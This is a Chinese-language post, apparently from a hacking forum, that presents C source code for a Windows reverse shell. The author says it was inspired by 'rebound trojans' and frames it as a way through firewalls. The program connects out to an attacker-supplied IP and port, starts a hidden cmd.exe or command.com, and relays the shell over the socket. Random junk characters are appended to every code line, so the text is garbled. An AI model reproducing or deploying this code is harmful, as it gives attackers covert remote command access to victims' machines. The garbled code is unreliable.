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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 74KFsir@  
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/* ============================== Tv(s?T6f  
Rebound port in Windows NT k<:!^_3H  
By wind,2006/7 D`LwW` 9  
===============================*/ rz3&khi  
#include A1:Fe9q  
#include p0@iGyd  
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#pragma comment(lib,"wsock32.lib") #0mn_#-P)  
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void OutputShell(); 9)=as/o  
SOCKET sClient; d>(dSKx  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eo@:@O+bm  
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void main(int argc,char **argv) ^ML2xh  
{ 0^.q5#A2  
WSADATA stWsaData; g]3-:&F{c  
int nRet; :cOwTW?Fj  
SOCKADDR_IN stSaiClient,stSaiServer; ~zuMX ;[  
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if(argc != 3) ^@6eN]  
{ s6qe5[  
printf("Useage:\n\rRebound DestIP DestPort\n"); }#Vo XilX  
return; "e_ED*  
} c*3ilMP\4  
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WSAStartup(MAKEWORD(2,2),&stWsaData); UboOIx5:  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {!=I GFe  
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stSaiClient.sin_family = AF_INET; R+^/(Ws'<  
stSaiClient.sin_port = htons(0); w("jyvV[C  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #|'8O  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K[ylyQ1  
{ p,xM7V"O)  
printf("Bind Socket Failed!\n"); Sm-nb*ZyC  
return; s_RYYaM  
} $+?6U  
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stSaiServer.sin_family = AF_INET; D]4?UL  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #M_QSD}&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <,LeFy\zW  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u52@{@Ad  
{ bjR&bIA:  
printf("Connect Error!"); z9VQsC'K  
return; Y}4dW'  
} Ron^PvvY&  
OutputShell(); F9d][ P@@  
} ?Ww',e  
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void OutputShell() N`#v"f<~Q  
{ F`Pu$>8C  
char szBuff[1024]; Tvk=NJ  
SECURITY_ATTRIBUTES stSecurityAttributes; X-t4irZ)  
OSVERSIONINFO stOsversionInfo; #BM *40tch  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bf}r8$,  
STARTUPINFO stStartupInfo; .%*.nq  
char *szShell; C@KYg/nYw  
PROCESS_INFORMATION stProcessInformation; 4E"qpy \(  
unsigned long lBytesRead; t);5Cw _  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $bMeL7CN  
5m_@s?P[  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); oE5+   
stSecurityAttributes.lpSecurityDescriptor = 0; +[*UC"  
stSecurityAttributes.bInheritHandle = TRUE; S-v9z:M3  
\Ud2]^D=  
F.O2;M|x  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Va9vDb6  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2Y$==j  
:S,#*rPKBK  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1-q\C<Q)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q9rE_} Z  
stStartupInfo.wShowWindow = SW_HIDE; U~7.aZHPx3  
stStartupInfo.hStdInput = hReadPipe; B:9Z ;g@&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \f._I+gJ  
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GetVersionEx(&stOsversionInfo); EQ7cK63  
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switch(stOsversionInfo.dwPlatformId) `UeF3~)>E  
{ M`"2;  
case 1: F.AO  
szShell = "command.com"; R4{}ZT  
break; O1/!)E!  
default: ` 3<#DZ;!  
szShell = "cmd.exe"; c-gaK\u}j}  
break;  f0:)  
} hI/p9 `w  
GhQ.}@*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _)^(-}(_D  
NbgP,-  
send(sClient,szMsg,77,0); i3f/{D/  
while(1) 6g$+))g  
{ ,m0=zH4+:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t6~|T_]  
if(lBytesRead) lJq %me;4m  
{ i++ F&r[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D4`7,JC}<  
send(sClient,szBuff,lBytesRead,0);  vlE#z  
} $|A vT;4  
else ^QXUiXzl  
{ |Z!C`G[  
lBytesRead=recv(sClient,szBuff,1024,0); r}XD{F}"  
if(lBytesRead<=0) break; E4 JS   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f *)t<1f  
} Ndx='j0  
} w/ZV9"BhE  
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return; c?wFEADn  
}
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